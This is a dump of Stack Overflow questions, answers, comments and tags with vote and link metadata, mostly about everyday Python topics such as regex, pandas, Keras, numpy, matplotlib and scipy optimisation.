has answer: http://stackoverflow.com/a/48653430
answer count: 2
has comment: http://stackoverflow.com/comment/84292887
downvote count: 0
has answer: http://stackoverflow.com/a/48647737
favorite count: 0
has comment: http://stackoverflow.com/comment/84294540
has body: I understand that the pattern r'([a-z]+)\1+' is searching for a repeated multi character pattern in the search string but I do not understand why in case k2 answer isn't 'aaaaa' (5 'a'): import re k1 = re.search(r'([a-z]+)\1+', 'aaaa') k2 = re.search(r'([a-z]+)\1+', 'aaaaa') k3 = re.search(r'([a-z]+)\1+', 'aaaaaa') print(k1) # &lt;_sre.SRE_Match object; span=(0, 4), match='aaaa'&gt; print(k2) # &lt;_sre.SRE_Match object; span=(0, 4), match='aaaa'&gt; print(k3) # &lt;_sre.SRE_Match object; span=(0, 6), match='aaaaaa'&gt; Python 3.6.1
upvote count: 8
possible better answer: http://stackoverflow.com/a/48647737
has comment: http://stackoverflow.com/comment/84292825

http://stackoverflow.com/a/48803894
type: Answer
score: 2
has body: This is how I'd do it, it looks complicated but actually it's not much, I'm just explaining the steps. Starting with a dataframe like this: Identifier CUSIP X Date 0 1 X1 bla 2013-01-01 1 1 X1 bla 2013-01-02 2 1 X1 bla 2013-01-03 3 2 X2 bla 2008-01-01 4 2 X2 bla 2008-01-02 5 2 X2 bla 2008-01-03 Add a year column with df['year'] = df.Date.dt.year Identifier CUSIP X Date year 0 1 X1 bla 2013-01-01 2013 1 1 X1 bla 2013-01-02 2013 2 1 X1 bla 2013-01-03 2013 3 2 X2 bla 2008-01-01 2008 4 2 X2 bla 2008-01-02 2008 5 2 X2 bla 2008-01-03 2008 Then take your pivot table and stack it. (Understanding stack/unstack will greatly help you if you work with pivot tables) 2008 2009 2010 2011 2012 2013 CUSIP X1 1 1 1 1 1 1 X2 2 2 2 2 2 2 &gt;&gt;&gt; piv.stack() CUSIP X1 2008 1 2009 1 2010 1 2011 1 2012 1 2013 1 X2 2008 2 2009 2 2010 2 2011 2 2012 2 2013 2 Then you need to reindex by CUSIP and year so that the values are in the same order as your dataframe. &gt;&gt;&gt; piv.stack().reindex(df'CUSIP', 'year') CUSIP X1 2013 1 2013 1 2013 1 X2 2008 2 2008 2 2008 2 dtype: int64 All together: &gt;&gt;&gt; df['pivot_values'] = piv.stack().reindex(df'CUSIP', 'year').values &gt;&gt;&gt; df Identifier CUSIP X Date year pivot_values 0 1 X1 bla 2013-01-01 2013 1 1 1 X1 bla 2013-01-02 2013 1 2 1 X1 bla 2013-01-03 2013 1 3 2 X2 bla 2008-01-01 2008 2 4 2 X2 bla 2008-01-02 2008 2 5 2 X2 bla 2008-01-03 2008 2
answers question: http://stackoverflow.com/q/48803022
downvote count: 0
has comment: http://stackoverflow.com/comment/84612859
has comment: http://stackoverflow.com/comment/84614559
upvote count: 2
has comment: http://stackoverflow.com/comment/84615826
has comment: http://stackoverflow.com/comment/84615051

http://stackoverflow.com/q/48652568
answer count: 1
tagged with: neural-network
tagged with: keras
has comment: http://stackoverflow.com/comment/84303396
favorite count: 0
has answer: http://stackoverflow.com/a/48667334
accepted answer: http://stackoverflow.com/a/48667334
tagged with: python
type: AnsweredQuestion
has body: I am new to keras. Now I am going to predict test image groups with the model I trained using model.fit_generator. Can I use model.predict? Not sure how to use model.predict_generator. And the literature showed the results of these two are different, which one is better? Thanks a lot! datagen = ImageDataGenerator( enter code here`rotation_range= ... zoom_range = 0.05) model = Sequential() model.add ... model.fit_generator(datagen.flow(train_x, train_y, batch_size=batch_size), steps_per_epoch=train_x.shape[0] // batch_size, epochs=epochs, validation_data=(test_x, test_y)) from sklearn.metrics import roc_auc_score test_y_hat = model.predict(test_x) roc_auc_score(test_y, test_y_hat)
tagged with: machine-learning
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84328514
has comment: http://stackoverflow.com/comment/84303308
score: 0
has title: Keras: can I use model.predict but not model.predict_generator to predict if I train the model with model.fit_generator
tagged with: deep-learning

http://stackoverflow.com/a/48768217
accepted answer of: http://stackoverflow.com/q/48768027
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48768027
type: Answer
has body: Do it without loops: b = np.unique(a, axis=0) This is orders of magnitude faster, and more clear.
upvote count: 3
score: 3

http://stackoverflow.com/q/48723276
has comment: http://stackoverflow.com/comment/84447630
has title: Listening audio output with python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84445474
score: 3
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/84452775
has comment: http://stackoverflow.com/comment/84462552
favorite count: 0
has comment: http://stackoverflow.com/comment/84471394
type: Question
tagged with: python
tagged with: audio
upvote count: 3
has body: First time working with audio in python, found many examples where you can listen/stream microphone, but with a lot of googling, can't find how can I listen just my computers output audio. The idea is to listen audio stream for comparing the sounds to wav. files, so if a specific sound is heard by the program, it prints it out. For easy example: facebook message arrives, the program compares the sound to wave file and prints "Facebook message audio heard".

http://stackoverflow.com/a/48709330
has body: Disclaimer: this code has many potential flaws so I expect few iterations to get to the root cause. Parameters mismatch: # defined with one parameter def get_features(comment): ... # called with two ... get_features(comment, word_features), ... Suboptimal word lookup: # set(comment) executed on every iteration for word in word_features: features[word] = (word in set(comment)) # can be transformed into something like: word_set = set(comment) for word in word_features: features[word] = word in word_set # if typical comment length is &lt; 30, list lookup is faster for word in word_features: features[word] = word in comment Suboptimal feature computing: # it is cheaper to set few positives than to check all word_features # also MUCH more memory efficient from collections import defaultdict ... def get_features(comment): features = defaultdict(bool) for word in comment: features[word] = True return features Suboptimal feature storage: # numpy array is much more efficient than a list of dicts # .. and with pandas on top it's even nicer: import pandas as pd ... feature_set = pd.DataFrame( ({word: True for word in comment} for (comment, _) in data), columns = word_features ).fillna(False) feature_set['category'] = [category for (_, category) in data]
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84417761
answers question: http://stackoverflow.com/q/48708135
accepted answer of: http://stackoverflow.com/q/48708135
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/84316804
comment on: http://stackoverflow.com/q/48659356
has text: I think its better to design in a way that you include only one file in another and not the cyclic way.
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/a/48670490
type: Answer
score: 1
upvote count: 1
has body: You can try combine_first: df = y.combine_first(x)
downvote count: 0
answers question: http://stackoverflow.com/q/48670424

http://stackoverflow.com/q/48712732
tagged with: python
has comment: http://stackoverflow.com/comment/84424561
has body: I'm trying to write python files to a directory but whenever I run the code I get errno 13. I've looked at a lot of solutions but none of them are working for me. My code is as follows: import os dirget = (os.getcwd()) findir = (dirget + "\\files") if not os.path.exists(dirget + "\\files"): os.makedirs(dirget + "\\files") with open(findir, 'w+') as file: file.write("hello") The error I recieve is: PermissionError: [Errno 13] Permission denied: 'C:\\Users\\Me\\Desktop\\files' Any help would be much appreciated, thank you.
answer count: 0
has comment: http://stackoverflow.com/comment/84426070
score: 1
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84425242
has comment: http://stackoverflow.com/comment/84427511
has comment: http://stackoverflow.com/comment/84426513
downvote count: 0
has title: Attempting to write python files to a directory results in Permission Error 13
has comment: http://stackoverflow.com/comment/84427783
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/84482277
type: QuestionComment
comment on: http://stackoverflow.com/q/48738844
score: 0
has text: @Qrtn how do I check? I would think under root from what I’ve been using to log in via PUTTY and WinSCP
type: Comment

php
tags question: http://stackoverflow.com/q/48689683
tags question: http://stackoverflow.com/q/48744341
tags question: http://stackoverflow.com/q/48656047
tags question: http://stackoverflow.com/q/48682904
tag name: php
tags question: http://stackoverflow.com/q/48700022
tags question: http://stackoverflow.com/q/48697322
tags question: http://stackoverflow.com/q/48664967
tags question: http://stackoverflow.com/q/48757312
tags question: http://stackoverflow.com/q/48798462
tags question: http://stackoverflow.com/q/48749672
type: Tag

http://stackoverflow.com/q/48792443
has body: I do have a bytecode string and start and end indices in bytecodes of all matches (from a texteditor). example mystring: a few names with accents are Emily Brontë, Noël Coward, Zoë Wanamaker When I do a search of words that contain an ë I find these (bytecode) indices in my texteditor: matches = [[35, 43], [44, 49], [58, 62]] Now I want to search within these matches using python p.e. to find all substrings of the letter o and find the new bytecodes of these o in mystring. newmatches = [] for n in matches: for m in reg.finditer(str(mystring[n[0]:n[1]], 'utf-8')): newmatches.append([m.start(), m.end()]) In above example start() and end() are not bytecodes and are not indices within mystring but indices in the substring. How can I resolve this problem?
downvote count: 0
favorite count: 0
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/48792870
has answer: http://stackoverflow.com/a/48794570
has answer: http://stackoverflow.com/a/48792870
tagged with: python
has comment: http://stackoverflow.com/comment/84590701
tagged with: regex
has comment: http://stackoverflow.com/comment/84590041
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84591201
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48794570
has title: How to find bytecodes of matches?
tagged with: search
answer count: 2

http://stackoverflow.com/a/48742570
upvote count: 0
downvote count: 1
score: -1
has body: Simple example of global variabl in two functions def hey(): global x x = 1 print x hey() # prints 1 def hey2(): global x x += 2 print x hey2() #prints 3
answers question: http://stackoverflow.com/q/48742267
type: Answer

http://stackoverflow.com/a/48723093
has body: The following solution assumes your input lists contain unique elements. It won't work, for example, with list1 = ['a', 'b'] and list2 = ['a', 'a']. list1 = ['car', 'cart', 'dog'] list2 = ['car', 'dog'] set(list2) &lt;= set(list1) # True If you want to check if it is a proper subset, in other words the two lists cannot be identical, you can use this: set(list2) &lt; set(list1) # True
score: 0
answers question: http://stackoverflow.com/q/48723057
type: Answer
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/48769729
score: 1
upvote count: 1
type: Question
tagged with: phantomjs
has answer: http://stackoverflow.com/a/48773503
has comment: http://stackoverflow.com/comment/84540658
has comment: http://stackoverflow.com/comment/84541990
has comment: http://stackoverflow.com/comment/84540776
tagged with: javascript
has comment: http://stackoverflow.com/comment/84556362
has comment: http://stackoverflow.com/comment/84541821
answer count: 1
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
accepted answer: http://stackoverflow.com/a/48773503
has body: I am trying to scrape a web page which has javascript in it using phantomjs. I found an element for button and when i click it, it show render next link. But i am not getting the exact output what i want. Instead, i am getting different output which is not required. The code is: from bs4 import BeautifulSoup import requests from selenium import webdriver s = requests.session() fg =s.get('https://in.bookmyshow.com/booktickets/INCM/32076',headers=headers) so = BeautifulSoup(fg.text,"html.parser") texts = so.findAll("div",{"class":"__buytickets"}) print(texts[0].a['href']) print(fg.url) driver = webdriver.PhantomJS() driver.get(movie_links[0]) element = driver.find_element_by_class_name('__buytickets') element.click() print(driver.current_url) I am getting the output as : javascript:; https://in.bookmyshow.com/booktickets/INCM/32076 https://in.bookmyshow.com/booktickets/INVB/47680 what i have to get is: javascript:; https://in.bookmyshow.com/booktickets/INCM/32076 https://in.bookmyshow.com/booktickets/INCM/32076#Seatlayout Actually, the link which i have to get is generated by javascript of the previous link. How to get this link? (seatlayout link) Please help! Thanks in Advance.
has comment: http://stackoverflow.com/comment/84540509
has comment: http://stackoverflow.com/comment/84540552
has comment: http://stackoverflow.com/comment/84540729
tagged with: python
has title: PhantomJS not retrieving correct data
has comment: http://stackoverflow.com/comment/84540749
has comment: http://stackoverflow.com/comment/84541857
type: AnsweredQuestion

http://stackoverflow.com/a/48676156
answers question: http://stackoverflow.com/q/48676128
upvote count: 2
downvote count: 1
has body: Use dict.fromkeys if you don't mind your dictionary pointing to the same list. temp_dic = dict.fromkeys(other_concords, leamanyi_concords) # {'a': ['fruit', 'drink', 'snack'], # 'b': ['fruit', 'drink', 'snack'], # 'c': ['fruit', 'drink', 'snack']}
has comment: http://stackoverflow.com/comment/84351043
has comment: http://stackoverflow.com/comment/84350953
score: 1
type: Answer

http://stackoverflow.com/a/60569643
has comment: http://stackoverflow.com/comment/107214341
answers question: http://stackoverflow.com/q/48674106
score: 18
upvote count: 18
downvote count: 0
has comment: http://stackoverflow.com/comment/125426271
type: Answer
has comment: http://stackoverflow.com/comment/117293871
has comment: http://stackoverflow.com/comment/124085026
has comment: http://stackoverflow.com/comment/107165134
has body: Are you aware of Blind deconvolution? Blind deconvolution is a well-known technique in restoring astronomical images. This is specially useful for your application, where finding a PSF is difficult. Here is one C++ implementation of this technique. This paper is also very related to what you are looking for. Here is a sample output of their algorithm:

http://stackoverflow.com/a/49032416
upvote count: 5
score: 5
type: AcceptedAnswer
downvote count: 0
has body: The data provider is the connection to the underlying file or database that holds the geospatial information to be displayed. In QGIS, a data provider (instance of qgis.core.QgsVectorDataProvider) allows the vector/raster layer to access the features within the data source. It includes a geometry type (stored in the data source), a list of fields that provide information about the attributes stored for each feature, and the ability to explore features within the data source (using getFeatures() method and QgsFeatureRequest class). You can access the various data providers using the core.QgsProviderRegistry class.
type: Answer
accepted answer of: http://stackoverflow.com/q/48762723
answers question: http://stackoverflow.com/q/48762723

http://stackoverflow.com/comment/84813393
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48817060
has text: It took me a while to figure out I needed to open the file with encoding set to utf-8. I couldn't get the measurement re to work until I did that. Still seeing if I can tweek this just a bit to get what I'm needing. Thanks for the approach Bill.

http://stackoverflow.com/q/48696924
has title: Python Find Difference Between Two Custom Class Sets
has body: Let's say I have two Products sets A and B, Product is my custom class. How can I find all products in set A meet the following criteria? a.link == b.link and a.date != b.date A = set([Product('link1', '02-08-2018'), Product('link2', '01-01-2018'), Product('link3', '02-02-2018')]) B = set([Product('link1', '01-08-2018'), Product('link2', '01-01-2018'), Product('link4', '02-02-2018')]) # HOW?? I want get Product('link1', '02-08-2018') and Product('link3', '02-02-2018') back here result = A - B class Product: def __init__(self, data): self.link= data['link'] self.date= data['date'] def __hash__(self): return hash(self.link+self.date) def __eq__(self, other): return self.link == other.link and self.date == other.date
score: -1
accepted answer: http://stackoverflow.com/a/48697286
has comment: http://stackoverflow.com/comment/84395024
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84393013
favorite count: 0
tagged with: python
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48697286
has comment: http://stackoverflow.com/comment/84393201
downvote count: 1
type: Question
type: AnsweredQuestion

http://stackoverflow.com/q/48667645
type: Question
has body: I'm working with sensor-data that comes off of Decagon Em50g data loggers. Before I do anything with these data they need to be gap-filled according to our study period (start and end data/time). The raw sensor data from the loggers have 3 headers that need to be retained after gap-filling (they have important metadata that gets pulled in a second script that tidy's up the data after gap-filling). I need to do this for many files and am trying to do it for one first. My approach: I read in sensor-data in two ways, once to store the first 2 headers 'headers_for_insert' (for later insertion) and second to have the 3rd header as the main header ('with_headers') for joining/gap-filling. After this, I create a date_time series for the duration of our study trial and then join this to the 'with_headers' data-frame for gap-filling. Then, I need to basically stack the other 2 headers back on the gap-filled data-frame so that the 3 headers are retained when I export as a csv. I've tried so many things and would appreciate any guidance on how to come up with a solution. Click here for an image of what I'm trying to accomplish: image of tables and headers image of what I need the final table to look like # import necessary libraries import pandas as pd import glob # read in data, one with headers and one without without_headers = pd.read_excel('D1Y-05Feb2018-1331.xls', header=None) with_headers = pd.read_excel('D1Y-05Feb2018-1331.xls', header=2) # subset first two rows from 'without_headers' (these will be inserted as headers later) headers_for_insert = without_headers.iloc[0:2,:] # change date-time heading to 'date_time' with_headers = with_headers.rename(columns = {'Measurement Time':'date_time'}) with_headers = with_headers.set_index('date_time') # create variables for your start and end date/time start='12/15/2017 00:00:00' end='2/4/2018 12:00:00' # create dataframe that has the date-time series for duration of study trial date_range = pd.date_range(start, end, freq='H') d…
score: 0
tagged with: pandas
answer count: 1
linked to: http://stackoverflow.com/q/19530708
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has title: Pandas: Sensor data has 3 headers. Need to retain them after gap-filling
has answer: http://stackoverflow.com/a/48671584

http://stackoverflow.com/comment/84336802
has text: trying to understand why you would need to use a regex, could you give us more context around that please.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48669230
score: 0

http://stackoverflow.com/q/48724447
type: Question
answer count: 2
has body: I have an issue making a simple plot while setting the x-axis in python. Here is my code: import import matplotlib.pyplot as plt y = [2586.087776040828,2285.8044466570227,1991.0556336526986,1719.7261325405243,1479.8272625661773,1272.5176077500348,1096.4367842436593,949.02201512882527,826.89866676342137,726.37921828890637,636.07392349697909,553.52559247838076,480.71257022562935,418.00424110010181,364.41801903538288,318.67575156686001,280.17668207838426,248.15399589447813,221.75070551820284,199.59983992701842,179.72014852370447,162.27141772637697,147.14507926321306,134.22828323366301,123.36572367962557,114.33589702168332,106.8825327470323,100.69181027167537,95.515144406404971,91.091036326792434] x = range(0,30) fig3_4 ,ax3_4 = plt.subplots() ax3_4.semilogx(range(0,30),(loss_ave_hist)) ax3_4.set_title('Validation Performance') # ax3_4.set_xticks(np.arange(0,30, 1.0)) ax3_4.set_xlabel('i') ax3_4.set_ylabel('Average Loss') fig3_4.show() plt.show() I believe my code is right! Notice the line of code I commented, it should set the axis with the values I want, however, it throws an error. I cannot figure out why! Here is my plot from the my plot:
has answer: http://stackoverflow.com/a/48725085
has comment: http://stackoverflow.com/comment/84448200
score: 1
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/48724841
accepted answer: http://stackoverflow.com/a/48725085
tagged with: python
downvote count: 1
tagged with: plot
type: AnsweredQuestion
has title: How to force the plot to show the x-axis values in python
possible better answer: http://stackoverflow.com/a/48724841
tagged with: matplotlib

http://stackoverflow.com/q/48759447
type: UnansweredQuestion
upvote count: 1
tagged with: calendar
tagged with: limit
has comment: http://stackoverflow.com/comment/84519703
type: Question
has title: Google Calendar API：Calendar usage limits exceeded
downvote count: 0
tagged with: quota
favorite count: 0
tagged with: python
score: 1
has body: My work is migration calendar data, we're using google calendar API. The number of Target Data is 280,000. The method to execute is as follows. ・Calender API V3 Event-insert https://developers.google.com/google-apps/calendar/v3/reference/events/insert ・batch request https://developers.google.com/google-apps/calendar/batch ・exponential backoff It has been running many times for this test, and it was able to run without problems before. However, it currently has an error indication "Calendar usage limits exceeded", a state where it can not be executed even once and lasted for about a week. I understand that the cause is as follows. https://support.google.com/a/answer/2905486?hl=en QPD(quota per date) had been changed to 2,000,000 by the support . Therefore, I think that the problem by quota can be solved. However, Currently, I am currently in a state where I can not execute the API even once I run the program. I want to eliminate this situation. I think that it is probably necessary to cancel restrictions on google side. Can I borrow your wisdom?
answer count: 0

http://stackoverflow.com/comment/84381534
type: Comment
has text: @SirSteel that is correct. The regular expressions are grabbing all defined tokens and then storing them. You could use lambdas, however, I suggest using a dictionary to store the token type name and store a class for each token type. By using a class, you can create additional methods that can be quickly called by the object instance in the `for` loop. Please see my recent edit. I implemented the mentioned technique.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48691280

http://stackoverflow.com/a/48760317
has body: I have updated your code to make it work. The errors were due to wrong quotes. I have added comments to the lines which are edited. import win32com.client as win32 outlook=win32.Dispatch('outlook.application') mail=outlook.CreateItem(0) email_t4='a@xyz.com;b@xyz.com;c@xyz.com' # Add quotes to value mail.To=email_t4 # Remove quotes for teating as variable mail.CC='r@xyz.com' mail.BCC='s@xyz.com' mail.Subject='ABC' mail.Body='XYZ' mail.HTMLBody=' Report ' # Quoted this as it was not valid syntax attachment4=r'C:\temp\python\test.txt' mail.Attachments.Add(attachment4) mail.Send()
downvote count: 0
answers question: http://stackoverflow.com/q/48760287
has comment: http://stackoverflow.com/comment/84522982
has comment: http://stackoverflow.com/comment/84523121
type: Answer
has comment: http://stackoverflow.com/comment/84529831
upvote count: 1
score: 1

http://stackoverflow.com/comment/84549690
comment on: http://stackoverflow.com/q/48773523
type: Comment
type: QuestionComment
has text: This question has nothing to do with JSON, this is a dictionary.
score: 0

http://stackoverflow.com/a/48719701
accepted answer of: http://stackoverflow.com/q/48719486
answers question: http://stackoverflow.com/q/48719486
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84439205
score: 0
has comment: http://stackoverflow.com/comment/84438857
has comment: http://stackoverflow.com/comment/84438813
has comment: http://stackoverflow.com/comment/84438724
type: Answer
has body: filter_by() is to select a specific set of rows based on criteria. For example, if your Places had a column called city and you wanted to get only the row belonging to a city named London, you would do something like: session.query(Places).filter_by(city='London') However, this will still fetch all the columns for London, not just longitude and latitude. In your case, it seems that you want to filter out columns, not rows. So, to get columns longitude and latitude for all the rows, you would need something like: session.query(Places.latitude, Places.longitude) This will return tuples. To store it as a list of numpy arrays you could try: coordinates = [] for row in session.query(Places.latitude, Places.longitude): cooridnates.append(np.asarray(row)) Please refer to Object Relational Tutorial on simple examples of queries. It's hard to advice whether a list of numpy arrays is actually what you need without knowing your actual use case.
has comment: http://stackoverflow.com/comment/84438676

http://stackoverflow.com/q/48654508
type: Question
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/84307754
score: 0
has title: SIGSEGV during PyObject dealloc Python C API
has comment: http://stackoverflow.com/comment/84307706
tagged with: segmentation-fault
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has body: I am trying to implement a simple generator using the Python C API. The generator functionality is working but the python interpreter (or something) segfaults during the call to Py_TYPE(self)-&gt;tp_free((PyObject*)self) I have read and reread the reference docs, and think I have the reference counting correct, but still the SIGSEGV remains. I've built the extension with debug symbols, and debugged with gdb (output below), and it seems it is happening inside the interpreter. Only thing I know that I haven't tried is building python from source with debug symbols, to allow further introspection. Any help or a point to the right documentation would appreciated. I'm using Python 3.6.4 #include "hexc.h" // Define class boilerplate functions static PyObject *hex_range_iter_new(PyTypeObject *type, PyObject *args, PyObject *kwds) { hexrangeiter_t *self; self = (hexrangeiter_t *)(type-&gt;tp_alloc(type, 0)); if (self != NULL) { self-&gt;pos = 0; self-&gt;dir = 0; self-&gt;distance = 1; self-&gt;radius = 0; self-&gt;hex = NULL; self-&gt;center = NULL; } return (PyObject *)self; } static void hex_range_iter_dealloc(hexrangeiter_t *self) { Py_DECREF(self-&gt;hex); // decref our stored hex Py_DECREF(self-&gt;center); // and our center point Py_TYPE(self)-&gt;tp_free((PyObject*)self); // SIGSEGV here } static int hex_range_iter_init(hexrangeiter_t *self, PyObject *args, PyObject *kwds) { // Takes 2 args, the center of the ring as an AbstractHex, and the radius as an int static char *kwlist[] = {"center", "radius", NULL}; if (! PyArg_ParseTupleAndKeywords(args, kwds, "Oi", kwlist, &amp;self-&gt;center, &amp;self-&gt;radius)) return -1; Py_INCREF(self-&gt;center); //increc\f here because Py_Arg_Parse... returns borrowed references PyObject *radius = PyLong_FromLong(1L); PyObject *direction = PyObject_CallMethod(self-&gt;center, "direction", "i", 4); PyObject *scaled = PyNumber_Multiply(direction, radius); self-&gt;hex = PyNumber_Add(self-&gt;center, scaled); // No incref needed be…
answer count: 0
has comment: http://stackoverflow.com/comment/84307794

semaphore
type: Tag
tag name: semaphore
tags question: http://stackoverflow.com/q/48735170

http://stackoverflow.com/a/48721381
score: 0
type: Answer
has body: For Python (I suppose, the same way will be for R): Collect the data in this way: [x_i-9, x_i-8, ..., x_i] vs [x_i+1, x_i+2, x_i+3] First vector - your input vector. Second vector - your output vector (or value if you like). Use method fit from here, for example: http://scikit-learn.org/stable/modules/generated/sklearn.svm.SVR.html#sklearn.svm.SVR.fit You can try scaling, removing outliers, apply weights and so on. Play :)
answers question: http://stackoverflow.com/q/48715867

http://stackoverflow.com/comment/84383444
type: QuestionComment
comment on: http://stackoverflow.com/q/48691083
score: 0
type: Comment
has text: So I converted to a datetime object, but Bokeh is giving me a ValueError. "ValueError("Unrecognized range input: '%s'" % str(range_input))". I changed: 'date': [datetime.strptime(a[0], '%Y-%m-%d') for a in data['data']] Is this incorrect?

http://stackoverflow.com/a/48651736
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48649480
has body: I managed to solve my problem through a custom tokenizer based approach, which means the sentence is never broken in the first place avoiding the need to merge it later. Based on the information here in the documentation, when you create a custom tokenizer the token_match argument can be used to match patterns that should never be broken. Like this, you can set: def custom_en_tokenizer(nlp): pattern_re = re.compile('&lt;some regex martching a pattern that is broken&gt;') return spacy.tokenizer.Tokenizer(nlp.vocab, English.Defaults.tokenizer_exceptions, English.Defaults.prefixes, English.Defaults.suffixes, English.Defaults.infixes, token_match=pattern_re.match) nlp = spacy.load('en') nlp.tokenizer = custom_en_tokenizer(nlp)
answers question: http://stackoverflow.com/q/48649480

http://stackoverflow.com/comment/84508941
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48753992
score: 1
has text: Thank you very much! the enumerate function worked perfectly!

http://stackoverflow.com/comment/84333220
type: Comment
has text: I think you use not last version of pandas. If remove `group_keys=False` then get terrible 5 levels MultiIndex, it remove 2 levels.
type: AnswerComment
comment on: http://stackoverflow.com/a/48666697
score: 0

http://stackoverflow.com/comment/84336096
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48668255
has text: @KeyurPotdar Thank you. There is only a single tag as you mentioned. Using find() instead of findAll(), the code now runs but doesn't return the desired outcome. I do not understand why I cannot use findAll() on a list however as I'm using the same code as in this video (https://www.youtube.com/watch?v=d4no8cNmCDE) at 7:40 and it runs.
score: 0

http://stackoverflow.com/comment/84515997
type: Comment
has text: Check example 3 again. I added an additional line to grab the object.
type: AnswerComment
comment on: http://stackoverflow.com/a/48718661
score: 0

http://stackoverflow.com/comment/84385249
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48648037
type: Comment
has text: MCVE coming. The time_condition is a filter of df1 to reduce slice df1 by time. it creates a filter time window for each day of data. The next line performs a `cummax` function over that time slice time_condition for each day of data. I use `groupby` to ensure that the function 'Entry_Price' is restarts each date and only during `time_condition`

http://stackoverflow.com/comment/84518725
type: AnswerComment
comment on: http://stackoverflow.com/a/48741045
score: 0
type: Comment
has text: I was aware of that duplicate columns, but I did not how I could not figure out the syntax. Thanks, this is great! I learned something new.

http://stackoverflow.com/q/48742452
possible better answer: http://stackoverflow.com/a/48742578
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48742578
favorite count: 0
has answer: http://stackoverflow.com/a/48743235
tagged with: python-3.x
has title: Remove some output content using Python 3
has body: I got an output like: Review: This hotel has been here awhile. However, they’ve kept it up nicely. The staff is very professional and friendly. The rooms have everything you need. Only con, the ice machines are on the 2nd and 8th floors only. Nice place, great location. 0 0 None Review: Thank you for taking a moment to share your experience. I am pleased to hear you found the hotel and staff to your liking. We look forward to welcoming you back to our hotel in the not too distant future.Sincerely,Andrea McLeodAssistant Front Office ManagerHilton New York Grand CentralAndrea.McLeod@Hilton.com 212-986-8800 0 0 None Review: I have wasted lot of time looking for a laundry service as there is none in the hotel, the ones they have leaves at saturdays 9:30 am, and then you don't have any other option (neither assistance from the desk). The shower doors open alone, so everything gets wet and there is no place to put your soap or shampoo... This is like a 2 stars hotel :S I hope my company can book me another one for my following stays. 0 0 None Review: Dear Manuel AThank you for having chosen our hotel for your trip to New York. We apologize that the door did not close properly. If you do return to the hotel please let us know if any issues that you may have and we will be more than happy to fix them. Thank you again for choosing the Hilton Grand Central. 0 I want to delete the second and 4th paragraph starting from Review: Thank you for taking a moment to share your experience. I am pleased t.... and Review: Dear Manuel AThank you for having chosen our hotel for your trip to New York. .. How can I remove this two paragraphs from my output using python3? This is the updated version of the code which works fine.But how do I save the output in a dataframe format using panadas in CSV format? for dtags in html.find_all('div', attrs={'class':'wrap'}): for index, ptags in enumerate(dtags.find_all('p', attrs={'class':'partial_entry'})): if index == 0: #match the first element x = …
tagged with: python
has answer: http://stackoverflow.com/a/48743132
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/16923281
accepted answer: http://stackoverflow.com/a/48743235
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84485951
answer count: 3

http://stackoverflow.com/a/48743122
has comment: http://stackoverflow.com/comment/84501839
answers question: http://stackoverflow.com/q/48743032
has comment: http://stackoverflow.com/comment/84486125
type: Answer
score: 13
upvote count: 13
downvote count: 0
has comment: http://stackoverflow.com/comment/84486351
has body: As far as I understand, you want to get the transformed training data. You already fitted the data in pipe.named_steps["tf_idf"], so just use this fitted model to transform the training data again: pipe.named_steps["tf_idf"].transform(data.test)

http://stackoverflow.com/q/48802463
has answer: http://stackoverflow.com/a/70950092
tagged with: nonlinear-optimization
upvote count: 3
has comment: http://stackoverflow.com/comment/84940174
has title: Binary variables for minimization by scipy differential evolution
downvote count: 1
tagged with: scipy
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/70320734
tagged with: differential-evolution
type: Question
answer count: 2
score: 2
favorite count: 0
linked to: http://stackoverflow.com/q/35494782
has answer: http://stackoverflow.com/a/70320734
tagged with: python
possible better answer: http://stackoverflow.com/a/70950092
has body: I have a non-linear minimization problem that takes a combination of continuous and binary variables as input. Think of it as a network flow problem with valves, for which the throughput can be controlled, and with pumps, for which you can change the direction. A "natural," minimalistic formulation could be: arg( min( f(x1,y2,y3) )) s.t. x1 \in [0,1] //a continuous variable y2,y3 \in {0,1} //two binary variables The objective function is deterministic, but expensive to solve. If I leave away the binary variables, Scipy's differential evolution algorithm turns out to be a useful solution approach for my problem (converging faster than basin hopping). There is some evidence available already with regard to the inclusion of integer variables in a differential evolution-based minimization problem. The suggested approaches turn y2,y3 into continuous variables x2,x3 \in [0,1], and then modify the objective function as follows: (i) f(x1, round(x2), round(x3)) (ii) f(x1,x2,x3) + K( (x2-round(x2))^2 + (x3-round(x3))^2 ) with K a tuning parameter A third, and probably naive approach would be to combine the binary variables into a single continuous variable z \in [0,1], and thereby to reduce the number of optimization variables. For instance, if z<0.25: y2=y3=0 elif z<0.5: y2=1, y3=0 elif z<0.75: y2=0, y3=1 else: y2=y3=1. Which one of the above should be preferred, and why? I'd be very curious to hear how binary variables can be integrated in a 